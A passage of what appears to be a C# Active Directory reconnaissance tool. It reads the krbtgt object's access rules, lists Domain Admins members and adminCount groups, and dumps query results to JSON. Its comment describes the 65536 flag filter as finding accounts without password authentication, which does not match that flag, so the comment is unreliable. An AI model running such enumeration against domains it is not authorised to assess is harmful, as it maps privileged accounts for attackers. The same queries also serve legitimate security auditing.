"LDAP://la0gke.local:389/CN=krbtgt,CN=Users,DC=la0gke,DC=local"; 184 | */ 185 | public static void GetObjectACL(string ldapPath) 186 | { 187 | DirectoryEntry directoryEntry = new DirectoryEntry(ldapPath); 188 | ActiveDirectorySecurity adsSecurity = directoryEntry.ObjectSecurity; 189 | AuthorizationRuleCollection authorizationRules = adsSecurity.GetAccessRules(true, true, typeof(NTAccount)); 190 | foreach (ActiveDirectoryAccessRule rule in authorizationRules) 191 | { 192 | NTAccount identity = rule.IdentityReference as NTAccount; 193 | ActiveDirectoryRights rights = rule.ActiveDirectoryRights; 194 | AccessControlType accessType = rule.AccessControlType; 195 | 196 | Console.WriteLine($"Identity: {identity.Value}"); 197 | Console.WriteLine($"Rights: {rights}"); 198 | Console.WriteLine($"Access Type: {accessType}"); 199 | Console.WriteLine("-------------------------------"); 200 | } 201 | } 202 | /* 203 | * 获取无需密码的用户账户 204 | * Get a user account without password authentication 205 | */ 206 | public static void GetNoAuthPasswordAccounts() 207 | { 208 | DirectorySearcher Searcher = LDAPCoon.Searcher(); 209 | Searcher.Filter = "(userAccountControl:1.2.840.113556.1.4.803:=65536)"; 210 | SearchResultCollection SearcherResults = Searcher.FindAll(); 211 | string NoAuthPasswordAccountsjson = ObjToJson.objTojson(SearcherResults); 212 | 213 | string filePath = "NoAuthPasswordAccounts-output.json"; 214 | File.WriteAllText(filePath, NoAuthPasswordAccountsjson); 215 | } 216 | /* 217 | * 获取具有域管理员权限的组 218 | */ 219 | public static void GetDomainAdminGroups() 220 | { 221 | DirectorySearcher Searcher = LDAPCoon.Searcher(); 222 | Searcher.Filter = "(&((objectCategory=group))(adminCount=1))"; 223 | SearchResultCollection SearcherResults = Searcher.FindAll(); 224 | string DomainAdminGroupsjson = ObjToJson.objTojson(SearcherResults); 225 | 226 | string filePath = "DomainAdminGroups-output.json"; 227 | File.WriteAllText(filePath, DomainAdminGroupsjson); 228 | } 229 | /* 230 | * 判断当前机器是否在域内 231 | */ 232 | public static bool IsInDomain() 233 | { 234 | try 235 | { 236 | var currentDomain = Domain.GetCurrentDomain(); 237 | Console.WriteLine($"The computer is part of the domain: {currentDomain.Name}"); 238 | return true; 239 | } 240 | catch (ActiveDirectoryObjectNotFoundException) 241 | { 242 | Console.WriteLine("The computer is not part of a domain."); 243 | return false; 244 | } 245 | catch (Exception ex) 246 | { 247 | Console.WriteLine($"An error occurred: {ex.Message}"); 248 | return false; 249 | } 250 | } 251 | /* 252 | * 获取域内指定组的成员 253 | * 254 | * groupName: 待查询组名,默认域管组 255 | */ 256 | public static void GetGroupUser(string groupName = "Domain Admins") 257 | { 258 | var currentDomain = Domain.GetCurrentDomain(); 259 | string domainName = currentDomain.Name; 260 | 261 | // 获取当前域 262 | using (PrincipalContext ctx = new PrincipalContext(ContextType.Domain, domainName)) 263 | { 264 | // 查找指定的组 265 | using (GroupPrincipal group = GroupPrincipal.FindByIdentity(ctx, groupName)) 266 | { 267 | if (group != null) 268 | { 269 | // 遍历组成员 270 | foreach (Principal member in group.Members) 271 | { 272 | Console.WriteLine($"Name: {member.Name}, SAM Account Name: {member.SamAccountName}"); 273 | } 274 | } 275 | else 276 | { 277 | Console.WriteLine($"Group '{groupName}' not found in the domain '{domainName}'."); 278 | } 279 | } 280 | } 281 | } 282 | } 283 | } 284 | -------------------------------------------------------------------------------- /packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /packages.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/la00gke/DomainAuto-one/757b27d2a6532060156e5defd4460d3ef4249305/packages.zip --------------------------------------------------------------------------------